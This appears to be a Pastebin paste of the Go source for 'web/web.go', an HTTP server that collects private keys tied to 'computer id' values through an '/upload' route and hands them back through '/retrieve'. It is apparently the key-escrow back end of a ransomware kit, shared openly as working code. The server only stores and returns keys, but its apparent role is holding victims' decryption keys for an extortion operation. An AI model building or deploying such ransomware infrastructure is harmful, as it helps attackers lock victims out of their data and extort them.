Advertisement
FlyFar

web/web.go

Dec 17th, 2023
1,158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.75 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "log"
  6.     "net/http"
  7. )
  8.  
  9. const (
  10.     // Address server listening address
  11.     Address = ":1312"
  12.  
  13.     // UploadRoute key uploading path
  14.     UploadRoute = "/upload"
  15.  
  16.     // RetrievalRoute
  17.     RetrievalRoute = "/retrieve"
  18. )
  19.  
  20. // Pair private key and computer id
  21. type Pair struct {
  22.     Id  string
  23.     Key string
  24. }
  25.  
  26. // Keys stored in memory
  27. var Keys = []Pair{}
  28.  
  29. func main() {
  30.     http.HandleFunc(UploadRoute, handleUpload)
  31.     http.HandleFunc(RetrievalRoute, handleRetrieve)
  32.  
  33.     fmt.Println("Listening on", Address)
  34.     log.Fatal(http.ListenAndServe(Address, nil))
  35. }
  36.  
  37. func reject(w http.ResponseWriter, r *http.Request, reason string) {
  38.     fmt.Println("Rejecting ", r.RemoteAddr+":", reason)
  39.     w.WriteHeader(http.StatusNotFound)
  40.     fmt.Fprint(w, http.StatusText(http.StatusNotFound))
  41. }
  42.  
  43. func handleUpload(w http.ResponseWriter, r *http.Request) {
  44.     id := r.PostFormValue("i")
  45.     key := r.PostFormValue("k")
  46.  
  47.     if r.Method != "POST" {
  48.         reject(w, r, "HTTP method is not POST, got "+r.Method)
  49.         return
  50.     }
  51.  
  52.     if id == "" {
  53.         reject(w, r, "id parameter i not set or empty")
  54.         return
  55.     }
  56.  
  57.     if key == "" {
  58.         reject(w, r, "key parameter k is not set or empty")
  59.     }
  60.  
  61.     for _, pair := range Keys {
  62.         if pair.Id == id {
  63.             reject(w, r, "key already exists")
  64.             return
  65.         }
  66.     }
  67.  
  68.     pair := Pair{Id: id, Key: key}
  69.     Keys = append(Keys, pair)
  70. }
  71.  
  72. func handleRetrieve(w http.ResponseWriter, r *http.Request) {
  73.     id := r.PostFormValue("i")
  74.  
  75.     if r.Method != "POST" {
  76.         reject(w, r, "HTTP method is not POST, got "+r.Method)
  77.         return
  78.     }
  79.  
  80.     if id == "" {
  81.         reject(w, r, "id parameter i is not set")
  82.         return
  83.     }
  84.  
  85.     for _, pair := range Keys {
  86.         if pair.Id == id {
  87.             fmt.Fprint(w, pair.Key)
  88.             return
  89.         }
  90.     }
  91.  
  92.     reject(w, r, "no key found for id "+id)
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement